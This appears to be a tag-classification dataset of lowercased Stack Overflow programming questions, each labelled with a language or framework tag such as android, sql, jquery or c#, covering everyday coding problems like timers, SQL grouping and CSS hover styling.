how can i create a timer that it can work even when the app is closed in android  i wrote the following code and it is a timer. but it has a problem and its problem is that when i close the app  also the count operations stops. but i want to continue the count operations  even when i close the application.    <pre><code>public class mainactivity extends activity {     private button startbutton;     private button pausebutton;     private textview timervalue;     private long starttime = 0l;     private handler customhandler = new handler();     long timeinmilliseconds = 0l;     long timeswapbuff = 0l;     long updatedtime = 0l;     @override     public void oncreate(bundle savedinstancestate) {         super.oncreate(savedinstancestate);         setcontentview(r.layout.activity_main);         timervalue = (textview) findviewbyid(r.id.timervalue);         startbutton = (button) findviewbyid(r.id.startbutton);         startbutton.setonclicklistener(new view.onclicklistener() {             public void onclick(view view) {                 starttime = systemclock.uptimemillis();                 customhandler.postdelayed(updatetimerthread  0);             }         });pausebutton = (button) findviewbyid(r.id.pausebutton);         pausebutton.setonclicklistener(new view.onclicklistener() {             public void onclick(view view) {                 timeswapbuff += timeinmilliseconds;                 customhandler.removecallbacks(updatetimerthread);             }         });     }     private runnable updatetimerthread = new runnable() {            public void run() {             timeinmilliseconds = systemclock.uptimemillis() - starttime;             updatedtime = timeswapbuff + timeinmilliseconds;             int secs = (int) (updatedtime / 1000);             int mins = secs / 60;             secs = secs % 60;             int milliseconds = (int) (updatedtime % 1000);             timervalue.settext(   + mins +  :                      + string.format( %02d   secs) +  :                      + string.format( %03d   milliseconds));             customhandler.postdelayed(this  0);         }     }; }  </code></pre>,android
what input type to use for image in external url   i know that if i want to have a html field that let s the user upload a local file i can use   <pre><code>&lt;input type= file &gt;&lt;/input&gt; </code></pre>   however  let s say i am guaranteed that all images will be at a valid absolute url to an image. how do i let the user specify that  what input type do i use,html
is it undefined behavior to refer to class members in an initialiser list   let s say i have the following:   <pre><code>class a {    b member1;    c member2; public:    a(); };  class b { public:    c&amp; ref_to_c;    b( c&amp; ref_to_c ); };  class c {  ... }; </code></pre>   b requires that a reference to c be provided on its constructor. if class a provides c  is it legal to specify a s initialiser list as the following...   <pre><code>a() : member1( b( member2 ) ) {} </code></pre>   that is to say  does member2 exist in the initialiser list phase  or is this <strong>undefined behaviour</strong>,c++
dynamic attribute value contain space c#  i am creating anchor tag dynamically and adding attributes in c#. adding data attributes like below   <pre><code>anchor.attributes.add( data-name    [sales][experience about] ); </code></pre>   what happened in ui it created like   <pre><code>&lt;a data-name= [sales][experience  about] href=  &gt;&lt;/a&gt; </code></pre>   <strong>because of spacing in attribute value  the quotes closed in experinece itself so it creating some problem for us.</strong>    how we can supply attriibute value with spaces in c#. we have so many attributes value we need to display like as like same value in ui too.    how to reslove this.,c#
referencing jquery object in method paramater  is it possible to somehow reference the current jquery object/collection in a method parameter...    for example   <pre><code>$( #sub &gt; :last-child ).height($( #sub &gt; :last-child ).height() + (gap * -1)); </code></pre>   can i somehow change the second reference  or am i stuck with storing in a variable.    thanks,jquery
why am i receiving a  thread exiting with uncaught exception” in android   the thing i m trying to implement is a <code>onclick</code> for my <code>listview</code> so when i click in my <code>listview</code> in <code>tab1</code>  i want to switch tabs to <code>tab2</code> and then i want to save the clicked <code>listview</code> row to be displayed in same <code>listview</code> in <code>tab2</code> but with more information. but i m getting this error.    why am i getting this error  and how can i display the chosen row in <code>tab1</code> to <code>tab2</code>    <pre><code>public class tab1 extends tabactivity {      wifimanager wifimanager;     wifiscanreceiver wifireciever;     string ssid;     int channel;     int level;     arrayadapter adapter;     listview list;     arraylist&lt;string&gt; wifis;     wifiinfo wifiinfo;     tabhost tabhost = null;      // tabspec names     private static final string tab1 =  tab1 ;     private static final string tab2 =  tab2 ;     private static final string tab3 =  tab3 ;      @override     public void oncreate(bundle savedinstancestate) {         super.oncreate(savedinstancestate);         setcontentview(r.layout.activity_tab1);          list = (listview) findviewbyid(r.id.text);         wifimanager = (wifimanager) getsystemservice(context.wifi_service);         wifireciever = new wifiscanreceiver();         wifiinfo = wifimanager.getconnectioninfo();          wifis = new arraylist&lt;string&gt;(); //initialize wifis         wifis.add( loading... );         adapter = new arrayadapter&lt;string&gt;(getapplicationcontext()                  android.r.layout.simple_list_item_1  wifis);         list.setadapter(adapter);          wifimanager.startscan(); //make sure this is the last call         list.setonitemclicklistener(new adapterview.onitemclicklistener() {             @override             public void onitemclick(adapterview&lt; &gt; parent  view v  int position  long id) {                 v.findviewbyid(r.id.text);                 switchtab(1);             }         }); };      public void switchtabs(int tab) {         tabhost.setcurrenttab(tab);     }      public void switchtab(int tab) {         tabhost.setcurrenttab(tab);     }      protected void onpause() {         unregisterreceiver(wifireciever);         super.onpause();     }      public static int convertfrequencytochannel(int freq) {         if (freq &gt;= 2412 &amp;&amp; freq &lt;= 2484) {             return (freq - 2412) / 5 + 1;         } else if (freq &gt;= 5170 &amp;&amp; freq &lt;= 5825) {             return (freq - 5170) / 5 + 34;         } else {             return -1;         }     }      protected void onresume() {         registerreceiver(wifireciever  new intentfilter(                 wifimanager.scan_results_available_action));         super.onresume();     }       class wifiscanreceiver extends broadcastreceiver {         @suppresslint( usevalueof )         public void onreceive(context c  intent intent) {             list&lt;scanresult&gt; wifiscanlist = wifimanager.getscanresults();             wifis.clear(); //add this             for (int i = 0; i &lt; wifiscanlist.size(); i++) {                 ssid = wifiscanlist.get(i).ssid; //get the ssid                 level = wifiscanlist.get(i).level;                 channel = wifiscanlist.get(i).frequency;                  //use add here:                 wifis.add(ssid +     + level +   dbm  ); //append to the other data                 wifis.tostring();             }              adapter.notifydatasetchanged(); //add this             wifimanager.startscan(); //start a new scan to update values faster          }     }  } </code></pre>   error messages   <pre><code>05-20 10:40:42.710    4694-4694/com.example.isac.tabtry w/dalvikvm﹕ threadid=1: thread exiting with uncaught exception (group=0x41477930) 05-20 10:40:42.718    4694-4694/com.example.isac.tabtry e/androidruntime﹕ fatal exception: main     java.lang.nullpointerexception         at com.example.isac.tabtry.tab1.switchtab(tab1.java:73)         at com.example.isac.tabtry.tab1$1.onitemclick(tab1.java:64)         at android.widget.adapterview.performitemclick(adapterview.java:301)         at android.widget.abslistview.performitemclick(abslistview.java:1508)         at android.widget.abslistview$performclick.run(abslistview.java:3293)         at android.widget.abslistview$1.run(abslistview.java:4554)         at android.os.handler.handlecallback(handler.java:725)         at android.os.handler.dispatchmessage(handler.java:92)         at android.os.looper.loop(looper.java:176)         at android.app.activitythread.main(activitythread.java:5365)         at java.lang.reflect.method.invokenative(native method)         at java.lang.reflect.method.invoke(method.java:511)         at com.android.internal.os.zygoteinit$methodandargscaller.run(zygoteinit.java:1102)         at com.android.internal.os.zygoteinit.main(zygoteinit.java:869)         at dalvik.system.nativestart.main(native method) </code></pre>,android
how to remove redeye from image   i know this question was too vague .actually i need to remove redeye of picked image .i have searched many links but i m not getting the correct..i have gone through this link but i m not getting <a href= https://stackoverflow.com/questions/13249013/how-to-remove-red-eye-from-image-in-iphone >how to remove red eye from image in iphone </a>    please if anyone knows the easy way reply me.thanks in advance,ios
"on css event style another element  on my website my html looks like:   <pre><code>&lt;div id= a &gt;div a&lt;/div&gt; &lt;div id= b &gt;div b&lt;/div&gt; </code></pre>   in my stylesheet i use   <pre><code>div#a:hover + div#b{background-color: red}  </code></pre>   to style b when i hover over a ... but how do i style a when hovering over b       <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>div#a:hover + div#b{
   background-color: red;
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;div id= a &gt;div a&lt;/div&gt;
 &lt;div id= b &gt;div b&lt;/div&gt;</code></pre>
 </div>
 </div>",css
rails first_or_create does not update existing records  related to this <a href= https://stackoverflow.com/questions/50439576/undefined-method-for-nilclass-when-using-first-or-create noredirect=1#comment87894025_50439576 >question</a>  this function i m writing does update the record. it just loads it.   <pre><code>blob.where(user_id: user.id  item_id: item.id).first_or_create do |s|  s.amount += amount end </code></pre>   output: <code>blob load (0.5ms)  select   blob .* from  blobs  where  blobs . user_id  = $1 and  blobs . item_id  = $2 order by  blobs . id  asc limit $3  [[ user_id   2]  [ item_id   5]  [ limit   1]]</code>    the record creates if it does not exist  but simply loads and does not update if it does. what gives,ruby-on-rails
count lowercase letters till the input is string  i wrote a short code in c which count the lowercase letters (only letters) and it ll stop working when i enter a number or something else. here is the code:   <pre><code>char letter; int num=0; do     if(islower(letter = getchar()))        num++; while(isalpha(letter)); printf( %d   num); return 0; </code></pre>   my problem is that it isn t working properly (only print  1  as result). and it has to be stopped when the next character isn t alphabetical letter. not sure that part is right.    any idea what did i wrong  thanks.,c
value other than # that will force a link to not redirect  i m trying to track down a value other than the hash symbol which can be passed to an <code>&lt;a href= # &gt;do not redirect&lt;/a&gt;</code> and not redirect the page.    my issue is that the <code>#</code> is being tracked by the browser history  and it s adding an extra step to clicking the back button. for example:   <pre><code>www.example.com page=2# *click back button in browser* www.example.com page=2 *click back button in browser* www.example.com page=1 </code></pre>   i m working in a library whereby the button must have a value passed (cannot be blank  otherwise the page will refresh). any ideas  :(,html
uncaught error: [$injector:modulerr] failed to instantiate module myapp due to:error  when i use jsfiddle to learn angular  i got an error like blow:   <blockquote>    uncaught error: [$injector:modulerr] failed to instantiate module myapp due to:        error: [$injector:nomod] module  myapp  is not available! you either misspelled the module name or forgot to load it. if registering a module ensure that you specify the dependencies as the second argument.  </blockquote>   thanks <a href= https://stackoverflow.com/a/22407031/2674213 >@khanh to s answer</a>  i solved this problem.    but i don t understand why i can t put code in dom ready event.    so the same error occurs like this:   <pre class= lang-html prettyprint-override ><code>&lt;!doctype html&gt; &lt;html lang= en  ng-app= myapp &gt; &lt;head&gt;     &lt;meta charset= utf-8 &gt;     &lt;title&gt;document&lt;/title&gt;     &lt;script src= https://ajax.googleapis.com/ajax/libs/angularjs/1.5.5/angular.js &gt;&lt;/script&gt;     &lt;script&gt;         document.addeventlistener( domcontentloaded  function() {             var app = angular.module( myapp  []);         }  false);     &lt;/script&gt; &lt;/head&gt; &lt;body&gt;     &lt;div&gt;         hello {{val}}     &lt;/div&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>   so i have 2 questions    1: how should i understand that <strong>angular begins compiling the dom when the dom is fully loaded.</strong>    2: since angular begins compiling the dom when the dom is fully loaded  the above code should run correctly  but why an error occurred.    thanks in advance for your help.,angularjs
draw multiple lines on edittext  i want to create a notepad. i am referring to sample notepad that provided by android sdk. my problem is i failed to draw multiple lines on edittext. i am successfully run the program but there is nothing shows on the edittext and even worse i couldn t input a word onto it. here is my code. thank you for helping.    on view  i have double confirm with my class path.so  i don t think there is any problem with my class path.   <pre><code>&lt; xml version= 1.0  encoding= utf-8  &gt; &lt;relativelayout xmlns:android= http://schemas.android.com/apk/res/android      android:layout_width= match_parent      android:layout_height= match_parent &gt;      &lt;textview          android:layout_height= wrap_content          android:layout_width= fill_parent          android:id= @+id/layouteditbottom          android:layout_alignparentbottom= true          android:paddingbottom= 18dp          /&gt;        &lt;relativelayout         android:layout_width= fill_parent          android:layout_height= match_parent          android:paddingbottom= 5dp          android:paddingtop= 5dp          android:layout_above= @+id/layouteditbottom &gt;         &lt;textview android:layout_width= wrap_content              android:layout_height= wrap_content              android:textsize= 18sp               android:text= @string/title              android:id= @+id/title_text1  /&gt;          &lt;edittext android:id= @+id/title              android:layout_torightof= @+id/title_text1                           android:layout_width= wrap_content              android:layout_height= wrap_content              android:singleline= true              android:imeoptions= actionnext              android:textsize= 18sp /&gt;          &lt;view xmlns:android= http://schemas.android.com/apk/res/android              class= com.example.apps2.mainactivity$lineedittext              android:id= @+id/body              android:layout_below= @+id/title              android:layout_width= fill_parent              android:layout_height= match_parent              android:background= @android:color/transparent              android:padding= 5dp              android:scrollbars= vertical              android:fadingedge= vertical              android:gravity= top              android:textsize= 22sp              android:capitalize= sentences /&gt;      &lt;/relativelayout&gt; &lt;/relativelayout&gt; </code></pre>   code below is java.   <pre><code>public class mainactivity extends activity {      @override     protected void oncreate(bundle savedinstancestate) {         super.oncreate(savedinstancestate);         setcontentview(r.layout.activity_main);           }       public static class lineedittext extends edittext{             // we need this constructor for layoutinflater             public lineedittext(context context  attributeset attrs) {                 super(context  attrs);                     mrect = new rect();                     mpaint = new paint();                     mpaint.setstyle(paint.style.fill_and_stroke);                     mpaint.setcolor(color.blue);             }              private rect mrect;             private paint mpaint;                     @override             protected void ondraw(canvas canvas) {                 //int count = getlinecount();                  int height = getheight();                 int line_height = getlineheight();                  int count = height / line_height;                  if (getlinecount() &gt; count)                     count = getlinecount();//for long text with scrolling                  rect r = mrect;                 paint paint = mpaint;                 int baseline = getlinebounds(0  r);//first line                  for (int i = 0; i &lt; count; i++) {                      canvas.drawline(r.left  baseline + 1  r.right  baseline + 1  paint);                     baseline += getlineheight();//next line                 }                  super.ondraw(canvas);            }      }     } </code></pre>,android
.net possible to determine how much memory a collection object is using during a debugging session   i have a collection of list where the object collection is a strong typed custom object i created  i have around 300 objects in the collection.     is it possible for me to determine how much memory this particular list is using while stepping through code during a debugging session.,.net
how to keep a bucket using case statement even if the count for items in that bucket is 0   here s the data table named  <strong>salary_table</strong>  that i ve created for this question: <a href= https://i.stack.imgur.com/e1lqi.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/e1lqi.png  alt= enter image description here ></a>    so i want to find the number of employees in each salary bucket in each department. the buckets are    <pre><code> &lt;$100   $100-$200  and  &gt;$200  </code></pre>   the desired output is:     <a href= https://i.stack.imgur.com/obatc.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/obatc.png  alt= enter image description here ></a>    below is my code for achieving this task:   <pre><code>select distinct(st.department) as  department    sb.salary_bucket as  salary range   count(*) from salary_table st left join (     select department  employee  case         when salary &lt; 100 then  &lt;$100          when salary between 100 and 200 then  $100-$200          else  &gt;$200          end          as salary_bucket     from salary_table ) sb on sb.employee = st.employee group by st.department  sb.salary_bucket order by st.department  sb.salary_bucket ; </code></pre>   but my output is a bit short of what im expecting:    <a href= https://i.stack.imgur.com/0tjrw.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/0tjrw.png  alt= enter image description here ></a>    there are two problems with my current output:   <ol> <li>the buckets with 0 employees earning the salary in the bucket range are not listed; i want it to be listed with a value  0 </li> <li>the salary bucket is not in the right order  even though i added in the statement  order by  but i think it s b/c its texts so can t really do that. </li> </ol>   i would really appreciate some hints and pointers on how to fix/achieve these two issues i ve addressed above. thank you so much!    <strong>what i ve tried</strong>   <ol> <li>i tried use  left join  but output came out the same</li> <li>i tried adding the  order by  clause but doesnt seem to work on text buckets</li> </ol>,sql
is there a way to recognize the visit from user s iphone and automatically adjust web page to fit iphone screen size   i wonder if there is a way to recognize the visit from user s iphone and automatically adjust web page to fit iphone screen size,iphone
how does a controller class access a model class   how does this random controller class   <pre><code>class randomcontroller &lt; applicationcontroller   def index     @user = user.all   end end </code></pre>   access the user class  i ve been searching for the connection in the source files  but i can t seem to find a logical explanation.,ruby-on-rails
given *multiple partitions* what is a better way to fill all the date gaps with calendar table   the task is to find and fill missing year and it s avg_id for every make. make is dynamic and can t be hardcoded.    given this calendar table:   <pre><code>avg_year  avg_id 2011      1      2012      2      2013      3      2014      4      2015      14     2016      15     2017      16     2010      5      2009      6      2008      7      </code></pre>   and this data with gaps:   <pre><code>car_year  car_id  make          2011      51       bmw          2012      24       bmw          2013      37       bmw          2014      52       bmw          2011      78       mitsubishi   2012      80       mitsubish    2014      99       mitsubishi   2008      101      audi         2008      102      audi         2013      102      audi         2015      103      audi     </code></pre>   what is a better way to get this data:   <pre><code>car_year car_id make        avg_id 2008     101    audi        7      2008     102    audi        7      2009     null   audi        6      2010     null   audi        5      2011     null   audi        1      2012     null   audi        2      2013     102    audi        3      2014     null   audi        4      2015     103    audi        14     2016     null   audi        15     2017     null   audi        16     2008     null   bmw         7      2009     null   bmw         6      2010     null   bmw         5      2011     51     bmw         1      2012     24     bmw         2      2013     37     bmw         3      2014     52     bmw         4      2015     null   bmw         14     2016     null   bmw         15     2017     null   bmw         16     2008     null   mitsubishi  7      2009     null   mitsubishi  6      2010     null   mitsubishi  5      2011     78     mitsubishi  1      2012     null   mitsubishi  2      2013     null   mitsubishi  3      2014     99     mitsubishi  4      2015     null   mitsubishi  14     2016     null   mitsubishi  15     2017     null   mitsubishi  16     </code></pre>   in the <a href= https://pastebin.com/raw/uveqx3w2  rel= nofollow noreferrer >pastebin link</a> there is a solution for this issue.    the question is not  how  but  how to do it better .    bonus kudos if the solution is not vendor-specific. (i.e. lack of connect by ... level)    similar question: <a href= https://stackoverflow.com/questions/17451230/fill-in-the-date-gaps-with-date-table >fill-in-the-date-gaps-with-date-table</a>,sql
what is the difference between an app with a uibackgroundmode key of location and an app that uses the significant-change location service   if so then what is the difference between an app that has a uibackgroundmode key of location and an app that uses the significant-change location service in the background     an app that uses the significant-change location service is suspended until a location change occurs  then it is woken and can do stuff in the background. however my research shows that an app with a uibackgroundmode of location can also be suspended  therefore what is the difference,ios
radio buttons in one line with values using ruby on rails  i am new to ruby on rails. i am trying to create a page which will be like below   <ol> <li> criteria 1    1 o   2 o   3 o </li> <li> criteria 2    1 o   2 o   3 o </li> </ol>   where <strong>o-</strong> is radio button    user can select only  1 value for each criteria.    i have  controller like below. i am not able to proceed   <pre><code>class judgecontroller &lt; applicationcontroller   def new     # ..   end end </code></pre>   and a view <code>jude.html.erb</code>.    thanks,ruby-on-rails
subclass printing for the foor loop  <strong>subclass printing</strong> <em>shopping cart</em>    im currently making a shopping cart  i have created a 3 subclasses  food  drink  and candy  all with different variables. and with one product class (extends). in my main class i have added an arraylist called inventory. so basiscally   <pre><code>private static arraylist&lt;product&gt; inventory = new arraylist&lt;product&gt;(); </code></pre>   now i m stuck at the part where i want to print the specific product details within the 3 subclasses. i created a print methods for all 3 subclasses  but it only takes in the print method for only the product(extends) class.    <pre><code>private static void printproduct() {     for(product f: inventory)     {         system.out.println(f.getproductid() +  \t  + f.getproductname() +  \t \t  + f.getprice());         system.out.println();     }     system.out.println( please choose a product by id to view more details );     int chosenproduct = input.nextint();     for(product p: inventory)     {         if (chosenproduct==p.getproductid())         {             p.         }     } } </code></pre>   <em>heres an example of a a subclass  i just copy and pasted the printfood method to this class to see if it would work. (it doesnt)</em>   <pre><code>public class food extends product{  private string brand; private int protein; private int carbs; private int fats;   public food() {  } public void printpoduct() {     system.out.println( product id:\t  + getproductid());     system.out.println( product name:\t  + getproductname());     system.out.println( brand:\t  + brand);     system.out.println( quantity:\t  + getquantity());     system.out.println( price:\t  + getprice());     system.out.println(  );     system.out.println( calories:\t  + getcalories());     system.out.println( carbohydrates:   + carbs);     system.out.println( protein:\t   + protein);     system.out.println( fats:\t   + fats ); } </code></pre>   <em>heres the product class  this is linked with the inventory arraylist</em>   <pre><code>public class product implements serializable{  private int productid; private string productname; private int quantity; private double price; private int calories; private boolean instock; private static final long serialversionuid= 1l; //specify version  public product() {  } public void printpoduct() {     system.out.println( product id:\t  + getproductid());     system.out.println( product name:\t  + getproductname());     system.out.println( brand:\t  + brand);     system.out.println( quantity:\t  + getquantity());     system.out.println( price:\t  + getprice());     system.out.println(  );     system.out.println( calories:\t  + getcalories());     system.out.println( carbohydrates:   + carbs);     system.out.println( protein:\t   + protein);     system.out.println( fats:\t   + fats);     } </code></pre>,java
sql select id and count of items in same table  i have the following sql table columns...   <pre><code>id | item | position | set ---------------------------      1 |   1  |     1    | 1  2 |   1  |     1    | 2  3 |   2  |     2    | 1  4 |   3  |     2    | 2 </code></pre>   in a <em>single</em> query i need to get all the ids of rows that match <code>set= 1 </code> while simultaneously counting how many instances in the same table that it s <code>item</code> number is referenced regardless of the <code>set</code>.    here is what i ve been tinkering with so far...   <pre><code>select      j1.item       (select count(j1.item) from table_join as j2) as count  from      table_join as j1  where      j1.set =  1 ; </code></pre>   ...though the subquery is returning multiple rows. with the above data the first item should have a count of 2  all the other items should have a count of 1.,sql
not able to frame text while adding a line to middle of file in python  my text.txt looks like this   <pre><code>abcd xyzv dead-hosts  -abcd.srini.com  -asdsfcd.srini.com </code></pre>   and i want to insert few lines after  dead-hosts  line  i made a script to add lines to file  there is extra space before last line  that s mandatory in my file  but post added new lines that space got removed  dont know how to maintain the space as it is. here is my script   <pre><code>failvrlist = [ srini.com   srini1.com ] tmplst = [] with open(‘test.txt’  r+ ) as fd:   for line in fd:     tmplst.append(line.strip())    pos = tmplst.index( dead-hosts: )   tmplst.insert(pos+1  #extra comment  )   for i in range(len(failvrlist)):     tmplst.insert(pos+2+i   -  +failvrlist[i])   tmplst.insert(pos+len(failvrlist)+2  \n )    for i in xrange(len(tmplst)):     fd.write( %s\n  %(tmplst[i])) </code></pre>   output is as below   <pre><code>abcd xyzv dead-hosts #extra comment   - srini.com  - srini1.com - abcd.srini.com - asdsfcd.srini.com </code></pre>   if you look at the last two lines the space got removed  please advise .,python
angular  content type is not being sent with $http  angular is not adding the correct content type option  i tried the following command:   <pre class= lang-js prettyprint-override ><code>$http({     url:  http://localhost:8080/example/teste       datatype:  json       method:  post       headers: {          content-type :  application/json      } }).success(function(response){     $scope.response = response; }).error(function(error){     $scope.error = error; }); </code></pre>   the code above generates the following http request:   <pre><code>post http://localhost:8080/example/teste http/1.1 host: localhost:8080 connection: keep-alive content-length: 0 cache-control: no-cache pragma: no-cache origin: http://localhost:8080 user-agent: mozilla/5.0 (windows nt 6.1) applewebkit/537.31 (khtml  like gecko) chrome/26.0.1410.64 safari/537.31 content-type: application/xml accept: application/json  text/plain  */* x-requested-with: xmlhttprequest referer: http://localhost:8080/example/index accept-encoding: gzip deflate sdch accept-language: pt-br pt;q=0.8 en-us;q=0.6 en;q=0.4 accept-charset: iso-8859-1 utf-8;q=0.7 *;q=0.3 cookie: jsessionid=c404ce2da653136971dd1a3c3eb3725b </code></pre>   as you can see  instead of  application/json   the content type is  application/xml . am i missing something here,angularjs
float formatting  i will need to format a float value to string as given below   <pre><code>1.0e11 -- 1.0e11   1.21 -- 1.21 </code></pre>   when tried with <code>tostring( 0.00 )</code> i got the following values:   <pre><code>1.0e11-  10000000000.00    1.21 - 1.21 </code></pre>   how can we convert the float value to string with exponential value  if it has exponential,c#
how to set the tab index and cursor at the end of the text  i opened a popup using jquery dialog it contains a textarea and 2 buttons. when it opens the textarea contains some text in this curser is at the start of the text...so i want at the end of the text..how can i do this using jquery or asp. and when user clicks on the tab it should go to the buttons.,jquery
replace outer html in angularjs directive  i want to write an angularjs directive such as   <pre><code>&lt;my-directive&gt;     &lt;inner-body&gt;         normal html and angular constructs     &lt;/inner-body&gt; &lt;/my-directive&gt; </code></pre>   and should be converted as   <pre><code>&lt;div class= group &gt;   &lt;div&gt; directive inserted text &lt;/div&gt;   &lt;div class= groupbody &gt;       normal html and angular constructs   &lt;/div&gt; &lt;/div&gt; </code></pre>   basically  i want to have flexibility to write html inside <code>inner-body</code>. the directive will convert it to <code>div</code> and apply some attributes to this div.    is it possible     tia.,angularjs
how can i find a parent with jquery  <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/2112822/jquery-find-all-the-parents-up-to-a-specific-parent >jquery: find all the parents up to a specific parent</a>    </blockquote>     i have the following:   <pre><code>&lt;div class= modal-window block-border &gt;     &lt;ul class= action-tabs right &gt;         &lt;li&gt;&lt;a title= close window  href= # &gt;&lt;img width= 16  height= 16  src= images/icons/fugue/cross-circle.png &gt;&lt;/a&gt;&lt;/li&gt;     &lt;/ul&gt;     &lt;div class= block-content no-title &gt;         &lt;div style= min-width: 200px; min-height: 40px; width: 300px; height: 221px;  class= modal-content modal-scroll &gt;             &lt;h1&gt;admin&lt;/h1&gt;             &lt;div class= block-header &gt;                 please login             &lt;/div&gt;             &lt;form novalidate= novalidate  action= /myaccount/access/jsonlogin  data-ajax= true  data-ajax-method= post  data-ajax-mode= replace  data-ajax-success= dialogsuccess()  data-ajax-update= #update-message  name= login-form  id= login-form  method= post &gt; </code></pre>   i have a reference to the form which is $(this). given this reference how can i find a reference to the class with the top most div called  modal-window,jquery
ios: how to partially change the color of text  i was playing with ios built-in compass app and the ui do make me curious.    here is the interesting part:    <a href= https://i.stack.imgur.com/4whw5.jpg  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/4whw5.jpg  alt= enter image description here ></a>    the color of text (even the circle) can be partially and dynamically changed.     i have made a lot of search  but the results are all about attributed string. how to implement the effect like this     <strong>edited:</strong>    i have tried to add two uilabels (<code>whitelabel</code> and <code>blacklabel</code>) as <code>whitelabel</code> at the bottom and <code>blacklabel</code> at the top with the same frame. then i set the circle as the mask of <code>blacklabel</code>.    the problem is  whitelabel  is totally covered by <code>blacklabel</code>  and if the circle do not intersect with  blacklabel   both labels are not visible.,ios
asp.net core 2.0 comma and point decimal separator  i tried to make an attempt of a basic project core 2 with just a model:   <pre><code>public class bilance  {      [key]      public int id { get; set; }       [required]      public decimal amount{ get; set; } // (sql 18 2)  } </code></pre>   i used this custom model binding to use the comma as decimal seperator but it doesn t work. (<a href= https://stackoverflow.com/questions/39737607/aspnet-core-decimal-binding-not-working-on-non-english-culture >aspnet core decimal binding not working on non english culture</a>)    works with a few numbers (123 456) with others no (11 50... 1520 77)    could you help me   thanks,asp.net
what is wrong with sscanf   i m trying to scan a csv file. here is the code.   <pre><code>    file *fp;     float pts[1000][2];     char line[1000];     int n = 0;     fp = fopen( abc.csv   r );     n = 0;     while(fgets(line  sizeof line  fp))     {         sscanf(line  %f %f  &amp;pts[n][0] &amp;pts[n][1]);         n++;     }     for(i=0;i&lt;n;i++)         printf( %f  %f\n  pts[i][0] pts[i][1]); </code></pre>   suppose abc.csv contains   <pre><code>11.654 22.332 11.654 22.332 11.654 22.332 </code></pre>   when i print  i get output as    <pre><code>11.654000  22.332001 11.654000  22.332001 11.654000  22.332001 </code></pre>   where is the extra .000001 is coming from     any help is appreciated. thanks in advance.,c
incorrect syntax near  1  sql  i am trying to understand why i am getting the following error when running the query:    <blockquote>    incorrect syntax near  1   </blockquote>  <pre><code>select  *  from    _datatable  where   dateadded between date_sub(getdate()  interval 1 month) and getdate() </code></pre>,sql
how to display built in calendar in android application  hi guysiam new to android but i got a task to display a calendar in my android application.here my question is whether android contains built in calendar  if it has please post the code to display built in calendar app.    thanks&amp;regards e.n.krishna,android
php increment numerical value variable by even or odd numbers  im iterating through two lists dumping data into their own single array  but i need to merge the 2 arrays in numerical order into a single array.    im using a counter (<code>foreach and $i++</code>) to name the keys in the proper order  but both operations leave me with arrays named with numbers 0-10.    how can i make a counter that will increment by only even or only odd numbers so i can merge the two lists after the fact and retain a proper numerical order     ie  have the first loop name things 0-2-4-6-8-10  and the second loop count 1-3-5-7-9,php
element width changes on scroll  if you open this site: <a href= http://www.pmfst.eu  rel= nofollow >http://www.pmfst.eu</a> on mobile (max-width:360px) you ll notice the button for the menu on the top right. once you click on it  it changes the width of the menu and the menu appears. this works as it should  but when you scroll (on a phone only) the menu disappears and i don t know why.    this is the jquery function for the expandable menu:   <pre><code>jquery( #button ).click(function() {     if(jquery( .my_extra_menu_class ).width() &gt; 0){         jquery( .my_extra_menu_class ).css( width    0 );     }     else{         jquery( .my_extra_menu_class ).css( width    300px );     } }); </code></pre>   please help     thank you for reading.,jquery
number format string to show only right 2 digits  i know i can use substring or other methods  but i m just curious if there is something to replace the   below to have it return  09    <pre><code>string.format({0: }  2009); </code></pre>   btw  i came across a good cheat sheet while trying to figure this out... <a href= http://john-sheehan.com/blog/wp-content/uploads/msnet-formatting-strings.pdf  rel= nofollow noreferrer >http://john-sheehan.com/blog/wp-content/uploads/msnet-formatting-strings.pdf</a>,.net
html how to transition between pages  i am currently trying to make a transition between pages on a website.    eg: if a user were on www.example.com/about and they clicked on a link to go to www.example.com/contact  the about page would fly out to the left  whilst the contact page would fly in from the right.    so far all i could find online was how to do this on the same page with hashtags. but i want to do this with separate pages.    is it possible <br> if not is there an alternative and how to do it     <strong>update</strong>    ok so i did a bit more research and i found this thing called barba.js(<a href= http://barbajs.org  rel= nofollow noreferrer >http://barbajs.org</a>) that seemed to do what i m looking for. so i installed the js script file followed the instructions on the site...and it didn t work! all it did was not load my pages correctly and didn t do what it was supposed to do. anyone know how i can use this(or if there is a better option than barba.js).    -thanks!,html
controlling file types in html file input/upload dialog  is there a way to specify the file types which can be accepted by html file input/upload dialog     <pre><code>&lt;input type= file  value= upload xml file /&gt; </code></pre>   i wish to control that only certain file types are visible in the dialog based on their extensions.,html
dereferencing an uninitialized pointer in objective-c  what is happening in this code <a href= http://ideone.com/std7vu  rel= nofollow >http://ideone.com/std7vu</a>    first i thought ok i m using an int for a pointer and the compiler doesn t warn me. then the 2nd block i can t understand how i can dereference <code>a</code> when i didnt use <code>new</code>. whats happening  i don t know obj-c.   <pre><code>#import &lt;stdio.h&gt;  @implementation testobj int main() {     {         int *a;         a=5;         printf( %d\n   a);     }     {         int *a;         *a=7;         printf( %d\n   *a);     }     return 0; } @end </code></pre>,objective-c
how do small programming teams work in c# .net   what tools/plugins do you use for checking in/out code     how to communicate changes made to the code  how to make request for new functionality     how has your team solved this,c#
get around using a view with sql queries  i have the following query :    <pre><code>create view temp2 as  (select currentloan.memberid  bookid  due_date   from currentloan  member  where currentloan.memberid = member.memberid   and member.firstname = john    and member.lastname =  smith );  select temp2.bookid  book.title  temp2.due_date  from temp2  book  where temp2.bookid = book.bookid ; </code></pre>   however  i need to be able to generate the same result without using any views and all in one statement. any suggestions to how to get this set up,sql
